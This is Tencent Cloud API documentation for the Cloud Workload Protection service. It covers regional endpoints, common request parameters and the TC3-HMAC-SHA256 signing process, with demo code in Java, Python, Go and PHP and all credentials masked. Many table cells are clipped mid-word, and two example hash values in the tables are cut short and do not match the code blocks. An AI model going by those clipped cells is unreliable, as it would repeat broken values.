Southwest China (Chengdu)	cwp.ap-chengdu.tencentcloudapi.com
Southwest China (Chongqing)	cwp.ap-chongqing.tencentcloudapi.com
Hong Kong, Macao, Taiwan (Hong Kong, China)	cwp.ap-hongkong.tencentcloudapi.com
Southeast Asia (Singapore)	cwp.ap-singapore.tencentcloudapi.com
Southeast Asia (Bangkok)	cwp.ap-bangkok.tencentcloudapi.com

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South Asia (Mumbai)	cwp.ap-mumbai.tencentcloudapi.com
Northeast Asia (Seoul)	cwp.ap-seoul.tencentcloudapi.com
Northeast Asia (Tokyo)	cwp.ap-tokyo.tencentcloudapi.com
U.S. East Coast (Virginia)	cwp.na-ashburn.tencentcloudapi.com
U.S. West Coast (Silicon Valley)	cwp.na-siliconvalley.tencentcloudapi.com
Europe (Frankfurt)	cwp.eu-frankfurt.tencentcloudapi.com

Note: As financial availability zones and non-financial availability zones are isolated, when accessing the services in a financial availability zone (with the common parameter `Region` specifying a financial availability zone), it is necessary to specify a domain name of the financial availability zone, preferably in the same region as specified in `Region` .

Access region for financial availability zone	Domain name for financial availability zone
East China (Shanghai Finance)	cwp.ap-shanghai-fsi.tencentcloudapi.com
South China (Shenzhen Finance)	cwp.ap-shenzhen-fsi.tencentcloudapi.com

2. Communications Protocol

All the Tencent Cloud APIs communicate via HTTPS, providing highly secure communication tunnels.

3. Request Methods

Supported HTTP request methods:

- POST (recommended)
- GET

The Content-Type types supported by POST requests:

- application/json (recommended). The TC3-HMAC-SHA256 signature algorithm must be used.
- application/x-www-form-urlencoded. The HmacSHA1 or HmacSHA256 signature algorithm must be used.
- multipart/form-data (only supported by certain APIs). You must use TC3-HMAC-SHA256 to calculate the signature.

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The size of a GET request packet is up to 32 KB. The size of a POST request is up to 1 MB when the HmacSHA1 or HmacSHA256 signature algorithm is used, and up to 10 MB when TC3-HMAC-SHA256 is used.

4. Character Encoding

Only UTF-8 encoding is used.

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Common Params

Last updated：2024-12-06 15:38:49

Common parameters are used for all APIs authenticating requestors. Common parameters must be included in all API requests, and they will not be described in individual API documents.

The exact contents of the common parameters will vary depending on the version of the signature method you use.

Common parameters for Signature Algorithm v3

When the TC3-HMAC-SHA256 algorithm is used, the common parameters should be uniformly placed in the HTTP request header, as shown below:

Parameter Name	Type	Required	Description
X-TC-Action	String	Yes	The name of the API for the desired operation. For the specific value, see description of common parameter `Action` in the input parameters in r documentation. For example, the API for querying the CVM instance list i `DescribeInstances` .
X-TC-Region	String	Yes	Region parameter, which is used to identify the region to which the data y work with belongs. For values supported for an API, see the description c parameter `Region` in the input parameters in related API documentati parameter is not required for some APIs (which will be indicated in relate documentation), and will not take effect even it is passed.
X-TC-Timestamp	Integer	Yes	The current UNIX timestamp that records the time when the API request for example, 1529223702. Note: If the difference between the UNIX times server time is greater than 5 minutes, a signature expiration error may oc
X-TC-Version	String	Yes	API version of the action. For the valid values, see the description of the c parameter `Version` in the API documentation. For example, the versi 2017-03-12.
Authorization	String	Yes	The HTTP authentication request header, for example: TC3-HMAC-SHA256 Credential=AKID*******/Date/service/tc3_request, SignedHeaders=content-type;host, Signature=fe5f80f77d5fa3beca038a248ff027d0445342fe2855ddc96317 Here: - TC3-HMAC-SHA256: Signature method, currently fixed as this value; - Credential: Signature credential; AKID******* is the SecretId; Date is a d time, and this value must match the value of X-TC-Timestamp (a commo

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			UTC time format; service is the name of the product/service, and is gener name prefix. For example, a domain name cvm.tencentcloudapi.com refe product and the value would be cvm; - SignedHeaders: The headers that contains the authentication informatic type and host are the required headers; - Signature: Signature digest.
X-TC-Token	String	No	The token used for a temporary certificate. It must be used with a tempora can obtain the temporary key and token by calling a CAM API. No token i a long-term key.

Assuming you want to query the list of Cloud Virtual Machine instances in the Guangzhou region, the request structure in the form of request URL, request header and request body may be as follows:

Example of an HTTP GET request structure:

```
https://cvm.tencentcloudapi.com/?Limit=10&Offset=0

Authorization: TC3-HMAC-SHA256 Credential=AKID********************************/20
18-10-09/cvm/tc3_request, SignedHeaders=content-type;host, Signature=5da7a33f6993
f0614b047e5df4582db9e9bf4672ba50567dba16c6ccf174c474
Content-Type: application/x-www-form-urlencoded
Host: cvm.tencentcloudapi.com
X-TC-Action: DescribeInstances
X-TC-Version: 2017-03-12
X-TC-Timestamp: 1539084154
X-TC-Region: ap-guangzhou
```

The following example shows you how to structure an HTTP POST (application/json) request:

```
https://cvm.tencentcloudapi.com/

Authorization: TC3-HMAC-SHA256 Credential=AKID********************************/20
18-05-30/cvm/tc3_request, SignedHeaders=content-type;host, Signature=582c400e06b5
924a6f2b5d7d672d79c15b13162d9279b0855cfba6789a8edb4c
Content-Type: application/json
Host: cvm.tencentcloudapi.com
X-TC-Action: DescribeInstances
X-TC-Version: 2017-03-12
X-TC-Timestamp: 1527672334
X-TC-Region: ap-guangzhou

{"Offset":0,"Limit":10}
```

Example of an HTTP POST (multipart/form-data) request structure (only supported by specific APIs):

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```
https://cvm.tencentcloudapi.com/

Authorization: TC3-HMAC-SHA256 Credential=AKID********************************/20
18-05-30/cvm/tc3_request, SignedHeaders=content-type;host, Signature=582c400e06b5
924a6f2b5d7d672d79c15b13162d9279b0855cfba6789a8edb4c
Content-Type: multipart/form-data; boundary=58731222010402
Host: cvm.tencentcloudapi.com
X-TC-Action: DescribeInstances
X-TC-Version: 2017-03-12
X-TC-Timestamp: 1527672334
X-TC-Region: ap-guangzhou

--58731222010402
Content-Disposition: form-data; name="Offset"

0
--58731222010402
Content-Disposition: form-data; name="Limit"

10
--58731222010402--
```

Common parameters for Signature Algorithm v1

To adopt the HmacSHA1 and HmacSHA256 signature methods, common parameters must be put into the request string, as shown below:

Parameter Name	Type	Required	Description
Action	String	Yes	The name of the API for the desired operation. For the specific value, see the description of common parameter `Action` in the input parameters in related API documentation. For example, the API for querying the CVM instance list is `DescribeInstances`.
Region	String	Yes	Region parameter, which is used to identify the region to which the data you want to work with belongs. For values supported for an API, see the description of common parameter `Region` in the input parameters in related API documentation. Note: This parameter is not required for some APIs (which will be indicated in related API documentation), and will not take effect even if it is passed.

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Timestamp	Integer	Yes	The current UNIX timestamp that records the time when the API request was initiated, for example, 1529223702. If the difference between the value and the current system time is too large, a signature expiration error may occur.
Nonce	Integer	Yes	A random positive integer used along with `Timestamp` to prevent replay attacks.
SecretId	String	Yes	The identifying SecretId obtained on the Cloud API Key page. A SecretId corresponds to a unique SecretKey which is used to generate the request signature (Signature).
Signature	String	Yes	Request signature used to verify the validity of this request. This is calculated based on the actual input parameters. For more information about how this is calculated, see the API authentication documentation.
Version	String	Yes	API version of the action. For the valid values, see the description of the common input parameter `Version` in the API documentation. For example, the version of CVM is 2017-03-12.
SignatureMethod	String	No	Signature method. Currently, only HmacSHA256 and HmacSHA1 are supported. The HmacSHA256 algorithm is used to verify the signature only when this parameter is specified as HmacSHA256. In other cases, the signature is verified with HmacSHA1.
Token	String	No	The token used for a temporary certificate. It must be used with a temporary key. You can obtain the temporary key and token by calling a CAM API. No token is required for a long-term key.

Assuming you want to query the list of Cloud Virtual Machine instances in the Guangzhou region, the request structure in the form of request URL, request header and request body may be as follows:

Example of an HTTP GET request structure:

```
https://cvm.tencentcloudapi.com/?Action=DescribeInstances&Version=2017-03-12&SignatureMethod=HmacSHA256&Timestamp=1527672334&Signature=37ac2f4fde00b0ac9bd9eadeb459b1bbee224158d66e7ae5fcadb70b2d181d02&Region=ap-guangzhou&Nonce=23823223&SecretId=AKID********************************

Host: cvm.tencentcloudapi.com
Content-Type: application/x-www-form-urlencoded
```

Example of an HTTP POST request structure:

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```
https://cvm.tencentcloudapi.com/

Host: cvm.tencentcloudapi.com
Content-Type: application/x-www-form-urlencoded

Action=DescribeInstances&Version=2017-03-12&SignatureMethod=HmacSHA256&Timestamp=
1527672334&Signature=37ac2f4fde00b0ac9bd9eadeb459b1bbee224158d66e7ae5fcadb70b2d18
1d02&Region=ap-guangzhou&Nonce=23823223&SecretId=AKID**************************
****
```

Region List

The supported Region field values for all APIs in this product are listed as below. For any API that does not support any of the following regions, this field will be described additionally in the relevant API document.

Region	Value
Southeast Asia (Bangkok)	ap-bangkok
North China (Beijing)	ap-beijing
Southwest China (Chengdu)	ap-chengdu
Southwest China (Chongqing)	ap-chongqing
South China (Guangzhou)	ap-guangzhou
Hong Kong/Macao/Taiwan (China) (Hong Kong (China))	ap-hongkong
Southeast Asia (Jakarta)	ap-jakarta
South Asia (Mumbai)	ap-mumbai
East China (Nanjing)	ap-nanjing
Northeast Asia (Seoul)	ap-seoul
East China (Shanghai)	ap-shanghai
East China (Shanghai Finance)	ap-shanghai-fsi
South China (Shenzhen Finance)	ap-shenzhen-fsi
Southeast Asia (Singapore)	ap-singapore

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Northeast Asia (Tokyo)	ap-tokyo
Europe (Frankfurt)	eu-frankfurt
East US (Virginia)	na-ashburn
West US (Silicon Valley)	na-siliconvalley
South America (São Paulo)	sa-saopaulo

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Signature v3

Last updated：2025-03-12 17:49:30

TencentCloud API authenticates every single request, i.e., the request must be signed using the security credentials in the designated steps. Each request has to contain the signature information (Signature) in the common request parameters and be sent in the specified way and format.

Applying for Security Credentials

The security credential used in this document is a key, which includes a SecretId and a SecretKey. Each user can have up to two pairs of keys.

- SecretId: Used to identify the API caller, which is just like a username.
- SecretKey: Used to authenticate the API caller, which is just like a password.
- **You must keep your security credentials private and avoid disclosure; otherwise, your assets may be compromised. If they are disclosed, please disable them as soon as possible.**

You can apply for the security credentials through the following steps:

1. Log in to the Tencent Cloud Console.
2. Go to the TencentCloud API Key console page.
3. On the TencentCloud API Key page, click **Create** to create a SecretId/SecretKey pair.

Using the Resources for Developers

TencentCloud API comes with SDKs for seven commonly used programming languages, including Python, Java, PHP, Go, NodeJS and .NET. In addition, it provides API Explorer which enables online call, signature verification, and SDK code generation. If you have any troubles calculating a signature, consult these resources.

TC3-HMAC-SHA256 Signature Algorithm

Compatible with the previous HmacSHA1 and HmacSHA256 signature algorithms, the TC3-HMAC-SHA256 signature algorithm is more secure and supports larger requests and JSON format with better performance. We recommend using TC3-HMAC-SHA256 to calculate the signature.

TencentCloud API supports both GET and POST requests. For the GET method, only the Content-Type: application/x-www-form-urlencoded protocol format is supported. For the POST method, two protocol formats,

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Content-Type: application/json and Content-Type: multipart/form-data, are supported. The JSON format is supported by default for all business APIs, and the multipart format is supported only for specific business APIs. In this case, the API cannot be called in JSON format. See the specific business API documentation for more information. The POST method is recommended, as there is no difference in the results of both the methods, but the GET method only supports request packets up to 32 KB.

The following uses querying the list of CVM instances in the Guangzhou region as an example to describe the steps of signature splicing. We chose this API because:

1. CVM is activated by default, and this API is often used;
2. It is read-only and does not change the status of existing resources;
3. It covers many types of parameters, which allows it to be used to demonstrate how to use arrays containing data structures.

In the example, we try to choose common parameters and API parameters that are prone to mistakes. When you actually call an API, please use parameters based on the actual conditions. The parameters vary by API. Do not copy the parameters and values in this example.

Assuming that your SecretId and SecretKey are `AKID********************************` and `********************************`, respectively, if you want to view the status of the instance in the Guangzhou region whose CVM instance name is "unnamed" and have only one data entry returned, then the request may be:

```
curl -X POST https://cvm.tencentcloudapi.com \
-H "Authorization: TC3-HMAC-SHA256 Credential=AKID********************************
*/2019-02-25/cvm/tc3_request, SignedHeaders=content-type;host, Signature=a7b85514
48762bd123d6f79e81815e31a92013640a6cef36a08ad4b292a4d2f2" \
-H "Content-Type: application/json; charset=utf-8" \
-H "Host: cvm.tencentcloudapi.com" \
-H "X-TC-Action: DescribeInstances" \
-H "X-TC-Timestamp: 1551113065" \
-H "X-TC-Version: 2017-03-12" \
-H "X-TC-Region: ap-guangzhou" \
-d '{"Limit": 1, "Filters": [{"Values": ["unnamed"], "Name": "instance-name"}]}'
```

The signature calculation process is explained in detail below.

1. Concatenating the CanonicalRequest String

Concatenate the canonical request string (CanonicalRequest) in the following pseudocode format:

```
CanonicalRequest =
HTTPRequestMethod + '\n' +
CanonicalURI + '\n' +
```

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```
CanonicalQueryString + '\n' +
CanonicalHeaders + '\n' +
SignedHeaders + '\n' +
HashedRequestPayload
```

Field Name	Explanation
HTTPRequestMethod	HTTP request method (GET or POST). This example uses `POST` .
CanonicalURI	URI parameter. Slash ("/") is used for API 3.0.
CanonicalQueryString	The query string in the URL of the originating HTTP request. This is always an empty st “” for POST requests, and is the string after the question mark (?) for GET requests. Fo example: Limit=10&Offset=0。 Note: `CanonicalQueryString` must be URL-encoded, referencing RFC3986, the UTF8 character set. We recommend using the programming language library. All speci characters must be encoded and capitalized.
CanonicalHeaders	Header information for signature calculation, including at least two headers of `host` `content-type` . Custom headers can be added to participate in the signature proce improve the uniqueness and security of the request. Concatenation rules: 1. Both the key and value of the header should be converted to lowercase with the lead and trailing spaces removed, so they are concatenated in the format of key:value\n format; 2. If there are multiple headers, they should be sorted in ASCII ascending order by the header keys (lowercase). The calculation result in this example is `content-type:application/json; charset=utf-8\nhost:cvm.tencentcloudapi.com\n` . Note: `content-type` must match the actually sent content. In some programming languages, a charset value would be added even if it is not specified. In this case, the request sent is different from the one signed, and the sever will return an error indicating signature verification failed.
SignedHeaders	Header information for signature calculation, indicating which headers of the request participate in the signature process (they must each individually correspond to the heac in CanonicalHeaders). `Content-type` and `host` are required headers. Concatenation rules: 1. Both the key and value of the header should be converted to lowercase; 2. If there are multiple headers, they should be sorted in ASCII ascending order by the header keys (lowercase) and separated by semicolons (;). The value in this example is `content-type;host`
HashedRequestPayload	Hash value of the request payload (i.e., the body, such as `{"Limit": 1, "Filter`

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	`[{"Values": ["unnamed"], "Name": "instance-name"}]` in this exampl The pseudocode for calculation is Lowercase(HexEncode(Hash.SHA256(RequestPayload))) by SHA256 hashing the pay of the HTTP request, performing hexadecimal encoding, and finally converting the encc string to lowercase letters. For GET requests, `RequestPayload` is always an empt string. The calculation result in this example is `99d58dfbc6745f6747f36bfca17dee5e6881dc0428a0a36f96199342bc5b49`

According to the rules above, the `CanonicalRequest` string obtained in the example is as follows:

```
POST
/

content-type:application/json; charset=utf-8
host:cvm.tencentcloudapi.com

content-type;host
99d58dfbc6745f6747f36bfca17dee5e6881dc0428a0a36f96199342bc5b4907
```

2. Concatenating the String to Be Signed

The string to sign is concatenated as follows:

```
StringToSign =
Algorithm + \n +
RequestTimestamp + \n +
CredentialScope + \n +
HashedCanonicalRequest
```

Field Name	Explanation
Algorithm	Signature algorithm, which is currently always `TC3-HMAC-SHA256`.
RequestTimestamp	Request timestamp, i.e., the value of the common parameter `X-TC-Timestamp` ir request header, which is the UNIX timestamp of the current time in seconds, such as `1551113065` in this example.
CredentialScope	Scope of the credential in the format of `Date/service/tc3_request`, including date, requested service and termination string (tc3_request). **`Date` is a date in U time, whose value should match the UTC date converted by the common parameter `X-TC-Timestamp`;** `service` is the product name, which should m the domain name of the product called. The calculation result in this example is `201 25/cvm/tc3_request`.

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HashedCanonicalRequest	Hash value of the CanonicalRequest string concatenated in the steps above. The pseudocode for calculation is Lowercase(HexEncode(Hash.SHA256(CanonicalRequ The calculation result in this example is `2815843035062fffda5fd6f2a44ea8a34818b0dc46f024b8b3786976a3ad`

Note:

1. Date has to be calculated from the timestamp "X-TC-Timestamp" and the time zone is UTC+0. If you add the system's local time zone information (such as UTC+8), calls can succeed both day and night but will definitely fail at 00:00. For example, if the timestamp is 1551113065 and the time in UTC+8 is 2019-02-26 00:44:25, the UTC+0 date in the calculated Date value should be 2019-02-25 instead of 2019-02-26.
2. Timestamp must be the same as your current system time, and your system time and standard time must be synced; if the difference between Timestamp and your current system time is larger than five minutes, the request will fail. If your system time is out of sync with the standard time for a while, the request will fail and return a signature expiration error.

According to the preceding rules, the string to be signed obtained in the example is as follows:

```
TC3-HMAC-SHA256
1551113065
2019-02-25/cvm/tc3_request
2815843035062fffda5fd6f2a44ea8a34818b0dc46f024b8b3786976a3adda7a
```

3. Calculating the Signature

1. Calculate the derived signature key with the following pseudocode:

```
SecretKey = "**********************************"
SecretDate = HMAC_SHA256("TC3" + SecretKey, Date)
SecretService = HMAC_SHA256(SecretDate, Service)
SecretSigning = HMAC_SHA256(SecretService, "tc3_request")
```

Field Name	Explanation
SecretKey	The original SecretKey, i.e., `**********` .
Date	The Date field information in `Credential` , such as `2019-02-25` in this example.

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Service	Value in the Service field in `Credential`, such as `cvm` in this example.

2. Calculate the signature with the following pseudocode:

```
Signature = HexEncode(HMAC_SHA256(SecretSigning, StringToSign))
```

4. Concatenating the Authorization

The Authorization is concatenated as follows:

```
Authorization =
Algorithm + ' ' +
'Credential=' + SecretId + '/' + CredentialScope + ', ' +
'SignedHeaders=' + SignedHeaders + ', ' +
'Signature=' + Signature
```

Field Name	Explanation
Algorithm	Signature algorithm, which is always `TC3-HMAC-SHA256`.
SecretId	The SecretId in the key pair, i.e., `AKID********************************`.
CredentialScope	Credential scope (see above). The calculation result in this example is `2019-02-25/cvm/tc3_request`.
SignedHeaders	Header information for signature calculation (see above), such as `content-type;host` in this example.
Signature	Signature value. The calculation result in this example is `a7b8551448762bd123d6f79e81815e31a92013640a6cef36a08ad4b292a4d2f2`.

According to the rules above, the value obtained in the example is:

```
TC3-HMAC-SHA256 Credential=AKID********************************/2019-02-25/cvm/tc
3_request, SignedHeaders=content-type;host, Signature=a7b8551448762bd123d6f79e818
15e31a92013640a6cef36a08ad4b292a4d2f2
```

The following example shows a finished authorization header:

```
POST https://cvm.tencentcloudapi.com/
Authorization: TC3-HMAC-SHA256 Credential=AKID********************************/20
19-02-25/cvm/tc3_request, SignedHeaders=content-type;host, Signature=a7b855144876
2bd123d6f79e81815e31a92013640a6cef36a08ad4b292a4d2f2
```

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```
Content-Type: application/json; charset=utf-8
Host: cvm.tencentcloudapi.com
X-TC-Action: DescribeInstances
X-TC-Version: 2017-03-12
X-TC-Timestamp: 1551113065
X-TC-Region: ap-guangzhou

{"Limit": 1, "Filters": [{"Values": ["unnamed"], "Name": "instance-name"}]}
```

5. Signature Demo

When calling API 3.0, you are recommended to use the corresponding Tencent Cloud SDK 3.0 which encapsulates the signature process, enabling you to focus on only the specific APIs provided by the product when developing. See SDK Center for more information. Currently, the following programming languages are supported:

- Python
- Java
- PHP
- Go
- NodeJS
- .NET

To further explain the signing process, we will use a programming language to implement the process described above. The request domain name, API and parameter values in the sample are used here. This goal of this example is only to provide additional clarification for the signature process, please see the SDK for actual usage.

The final output URL might be: https://cvm.tencentcloudapi.com/?Action=DescribeInstances&InstanceIds.0=ins-09dx96dg&Limit=20&Nonce=11886&Offset=0&Region=ap-guangzhou&SecretId=AKID**********&Signature=EliP9YW3pW28FpsEdkXt%2F%2BWcGeI%3D&Timestamp=1465185768&Version=2017-03-12.

Note: The key in the example is fictitious, and the timestamp is not the current time of the system, so if this URL is opened in the browser or called using commands such as curl, an authentication error will be returned: Signature expired. In order to get a URL that can work properly, you need to replace the SecretId and SecretKey in the example with your real credentials and use the current time of the system as the Timestamp.

Note: In the example below, even if you use the same programming language, the order of the parameters in the URL may be different for each execution. However, the order does not matter, as long as all the parameters are included in the URL and the signature is calculated correctly.

Note: The following code is only applicable to API 3.0. It cannot be directly used in other signature processes. Even with an older API, signature calculation errors may occur due to the differences in details. Please refer to the corresponding documentation.

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Java

```
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.TimeZone;
import java.util.TreeMap;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;

public class TencentCloudAPITC3Demo {
private final static Charset UTF8 = StandardCharsets.UTF_8;
private final static String SECRET_ID = "AKID********************************";
private final static String SECRET_KEY = "********************************";
private final static String CT_JSON = "application/json; charset=utf-8";

public static byte[] hmac256(byte[] key, String msg) throws Exception {
Mac mac = Mac.getInstance("HmacSHA256");
SecretKeySpec secretKeySpec = new SecretKeySpec(key, mac.getAlgorithm());
mac.init(secretKeySpec);
return mac.doFinal(msg.getBytes(UTF8));
}

public static String sha256Hex(String s) throws Exception {
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] d = md.digest(s.getBytes(UTF8));
return DatatypeConverter.printHexBinary(d).toLowerCase();
}

public static void main(String[] args) throws Exception {
String service = "cvm";
String host = "cvm.tencentcloudapi.com";
String region = "ap-guangzhou";
String action = "DescribeInstances";
String version = "2017-03-12";
String algorithm = "TC3-HMAC-SHA256";
String timestamp = "1551113065";
//String timestamp = String.valueOf(System.currentTimeMillis() / 1000);
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
// Pay attention to the time zone; otherwise, errors may occur
sdf.setTimeZone(TimeZone.getTimeZone("UTC"));
String date = sdf.format(new Date(Long.valueOf(timestamp + "000")));

// ************ Step 1: Concatenate the CanonicalRequest string ************
```

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```
String httpRequestMethod = "POST";
String canonicalUri = "/";
String canonicalQueryString = "";
String canonicalHeaders = "content-type:application/json; charset=utf-8\n" + "hos
t:" + host + "\n";
String signedHeaders = "content-type;host";

String payload = "{\"Limit\": 1, \"Filters\": [{\"Values\": [\"unnamed\"], \"Name
\": \"instance-name\"}]}";
String hashedRequestPayload = sha256Hex(payload);
String canonicalRequest = httpRequestMethod + "\n" + canonicalUri + "\n" + canoni
calQueryString + "\n"
+ canonicalHeaders + "\n" + signedHeaders + "\n" + hashedRequestPayload;
System.out.println(canonicalRequest);

// ************* Step 2: Concatenate the string to sign *************
String credentialScope = date + "/" + service + "/" + "tc3_request";
String hashedCanonicalRequest = sha256Hex(canonicalRequest);
String stringToSign = algorithm + "\n" + timestamp + "\n" + credentialScope +
"\n" + hashedCanonicalRequest;
System.out.println(stringToSign);

// ************* Step 3: Calculate the signature *************
byte[] secretDate = hmac256(("TC3" + SECRET_KEY).getBytes(UTF8), date);
byte[] secretService = hmac256(secretDate, service);
byte[] secretSigning = hmac256(secretService, "tc3_request");
String signature = DatatypeConverter.printHexBinary(hmac256(secretSigning, string
ToSign)).toLowerCase();
System.out.println(signature);

// ************* Step 4: Concatenate the Authorization *************
String authorization = algorithm + " " + "Credential=" + SECRET_ID + "/" + creden
tialScope + ", "
+ "SignedHeaders=" + signedHeaders + ", " + "Signature=" + signature;
System.out.println(authorization);

TreeMap<String, String> headers = new TreeMap<String, String>();
headers.put("Authorization", authorization);
headers.put("Content-Type", CT_JSON);
headers.put("Host", host);
headers.put("X-TC-Action", action);
headers.put("X-TC-Timestamp", timestamp);
headers.put("X-TC-Version", version);
headers.put("X-TC-Region", region);

StringBuilder sb = new StringBuilder();
sb.append("curl -X POST https://").append(host)
```

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```
.append(" -H \"Authorization: ").append(authorization).append("\"")
.append(" -H \"Content-Type: application/json; charset=utf-8\"")
.append(" -H \"Host: ").append(host).append("\"")
.append(" -H \"X-TC-Action: ").append(action).append("\"")
.append(" -H \"X-TC-Timestamp: ").append(timestamp).append("\"")
.append(" -H \"X-TC-Version: ").append(version).append("\"")
.append(" -H \"X-TC-Region: ").append(region).append("\"")
.append(" -d '").append(payload).append("'");
System.out.println(sb.toString());
}
}
```

Python

```
# -*- coding: utf-8 -*-
import hashlib, hmac, json, os, sys, time
from datetime import datetime

# Key Parameters
secret_id = "AKID********************************"
secret_key = "********************************"

service = "cvm"
host = "cvm.tencentcloudapi.com"
endpoint = "https://" + host
region = "ap-guangzhou"
action = "DescribeInstances"
version = "2017-03-12"
algorithm = "TC3-HMAC-SHA256"
#timestamp = int(time.time())
timestamp = 1551113065
date = datetime.utcfromtimestamp(timestamp).strftime("%Y-%m-%d")
params = {"Limit": 1, "Filters": [{"Values": ["unnamed"], "Name": "instance-name"
}]}

# ************* Step 1: Concatenate the CanonicalRequest string *************
http_request_method = "POST"
canonical_uri = "/"
canonical_querystring = ""
ct = "application/json; charset=utf-8"
payload = json.dumps(params)
canonical_headers = "content-type:%s\nhost:%s\n" % (ct, host)
signed_headers = "content-type;host"
hashed_request_payload = hashlib.sha256(payload.encode("utf-8")).hexdigest()
canonical_request = (http_request_method + "\n" +
canonical_uri + "\n" +
```

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```
canonical_querystring + "\n" +
canonical_headers + "\n" +
signed_headers + "\n" +
hashed_request_payload)
print(canonical_request)

# ************* Step 2: Concatenate the string to sign *************
credential_scope = date + "/" + service + "/" + "tc3_request"
hashed_canonical_request = hashlib.sha256(canonical_request.encode("utf-8")).hexd
igest()
string_to_sign = (algorithm + "\n" +
str(timestamp) + "\n" +
credential_scope + "\n" +
hashed_canonical_request)
print(string_to_sign)


# ************* Step 3: Calculate the Signature *************
# Function for computing signature digest
def sign(key, msg):
return hmac.new(key, msg.encode("utf-8"), hashlib.sha256).digest()
secret_date = sign(("TC3" + secret_key).encode("utf-8"), date)
secret_service = sign(secret_date, service)
secret_signing = sign(secret_service, "tc3_request")
signature = hmac.new(secret_signing, string_to_sign.encode("utf-8"), hashlib.sha2
56).hexdigest()
print(signature)

# ************* Step 4: Concatenate the Authorization *************
authorization = (algorithm + " " +
"Credential=" + secret_id + "/" + credential_scope + ", " +
"SignedHeaders=" + signed_headers + ", " +
"Signature=" + signature)
print(authorization)

print('curl -X POST ' + endpoint
+ ' -H "Authorization: ' + authorization + '"'
+ ' -H "Content-Type: application/json; charset=utf-8"'
+ ' -H "Host: ' + host + '"'
+ ' -H "X-TC-Action: ' + action + '"'
+ ' -H "X-TC-Timestamp: ' + str(timestamp) + '"'
+ ' -H "X-TC-Version: ' + version + '"'
+ ' -H "X-TC-Region: ' + region + '"'
+ " -d '" + payload + "'")
```

Golang

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```
package main

import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"fmt"
"time"
)

func sha256hex(s string) string {
b := sha256.Sum256([]byte(s))
return hex.EncodeToString(b[:])
}

func hmacsha256(s, key string) string {
hashed := hmac.New(sha256.New, []byte(key))
hashed.Write([]byte(s))
return string(hashed.Sum(nil))
}

func main() {
secretId := "AKID********************************"
secretKey := "********************************"
host := "cvm.tencentcloudapi.com"
algorithm := "TC3-HMAC-SHA256"
service := "cvm"
version := "2017-03-12"
action := "DescribeInstances"
region := "ap-guangzhou"
//var timestamp int64 = time.Now().Unix()
var timestamp int64 = 1551113065

// step 1: build canonical request string
httpRequestMethod := "POST"
canonicalURI := "/"
canonicalQueryString := ""
canonicalHeaders := "content-type:application/json; charset=utf-8\n" + "host:" +
host + "\n"
signedHeaders := "content-type;host"
payload := `{"Limit": 1, "Filters": [{"Values": ["unnamed"], "Name": "instance-na
me"}]}`
hashedRequestPayload := sha256hex(payload)
canonicalRequest := fmt.Sprintf("%s\n%s\n%s\n%s\n%s\n%s",
httpRequestMethod,
canonicalURI,
```

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```
canonicalQueryString,
canonicalHeaders,
signedHeaders,
hashedRequestPayload)
fmt.Println(canonicalRequest)

// step 2: build string to sign
date := time.Unix(timestamp, 0).UTC().Format("2006-01-02")
credentialScope := fmt.Sprintf("%s/%s/tc3_request", date, service)
hashedCanonicalRequest := sha256hex(canonicalRequest)
string2sign := fmt.Sprintf("%s\n%d\n%s\n%s",
algorithm,
timestamp,
credentialScope,
hashedCanonicalRequest)
fmt.Println(string2sign)

// step 3: sign string
secretDate := hmacsha256(date, "TC3"+secretKey)
secretService := hmacsha256(service, secretDate)
secretSigning := hmacsha256("tc3_request", secretService)
signature := hex.EncodeToString([]byte(hmacsha256(string2sign, secretSigning)))
fmt.Println(signature)

// step 4: build authorization
authorization := fmt.Sprintf("%s Credential=%s/%s, SignedHeaders=%s, Signature=%
s",
algorithm,
secretId,
credentialScope,
signedHeaders,
signature)
fmt.Println(authorization)

curl := fmt.Sprintf(`curl -X POST https://%s\
-H "Authorization: %s"\
-H "Content-Type: application/json; charset=utf-8"\
-H "Host: %s" -H "X-TC-Action: %s"\
-H "X-TC-Timestamp: %d"\
-H "X-TC-Version: %s"\
-H "X-TC-Region: %s"\
-d '%s'`, host, authorization, host, action, timestamp, version, region, payload)
fmt.Println(curl)
}
```

PHP

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```php
<?php
$secretId = "AKID********************************";
$secretKey = "********************************";
$host = "cvm.tencentcloudapi.com";
$service = "cvm";
$version = "2017-03-12";
$action = "DescribeInstances";
$region = "ap-guangzhou";
// $timestamp = time();
$timestamp = 1551113065;
$algorithm = "TC3-HMAC-SHA256";

// step 1: build canonical request string
$httpRequestMethod = "POST";
$canonicalUri = "/";
$canonicalQueryString = "";
$canonicalHeaders = "content-type:application/json; charset=utf-8\n"."host:".$hos
t."\n";
$signedHeaders = "content-type;host";
$payload = '{"Limit": 1, "Filters": [{"Values": ["unnamed"], "Name": "instance-na
me"}]}';
$hashedRequestPayload = hash("SHA256", $payload);
$canonicalRequest = $httpRequestMethod."\n"
.$canonicalUri."\n"
.$canonicalQueryString."\n"
.$canonicalHeaders."\n"
.$signedHeaders."\n"
.$hashedRequestPayload;
echo $canonicalRequest.PHP_EOL;

// step 2: build string to sign
$date = gmdate("Y-m-d", $timestamp);
$credentialScope = $date."/".$service."/tc3_request";
$hashedCanonicalRequest = hash("SHA256", $canonicalRequest);
$stringToSign = $algorithm."\n"
.$timestamp."\n"
.$credentialScope."\n"
.$hashedCanonicalRequest;
echo $stringToSign.PHP_EOL;

// step 3: sign string
$secretDate = hash_hmac("SHA256", $date, "TC3".$secretKey, true);
$secretService = hash_hmac("SHA256", $service, $secretDate, true);
$secretSigning = hash_hmac("SHA256", "tc3_request", $secretService, true);
$signature = hash_hmac("SHA256", $stringToSign, $secretSigning);
echo $signature.PHP_EOL;
```

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```
// step 4: build authorization
$authorization = $algorithm
." Credential=".$secretId."/".$credentialScope
.", SignedHeaders=content-type;host, Signature=".$signature;
echo $authorization.PHP_EOL;

$curl = "curl -X POST https://".$host
.' -H "Authorization: '.$authorization.'"'
.' -H "Content-Type: application/json; charset=utf-8"'
.' -H "Host: '.$host.'"'
.' -H "X-TC-Action: '.$action.'"'
.' -H "X-TC-Timestamp: '.$timestamp.'"'
.' -H "X-TC-Version: '.$version.'"'
.' -H "X-TC-Region: '.$region.'"'
." -d '".$payload."'";
echo $curl.PHP_EOL;
```

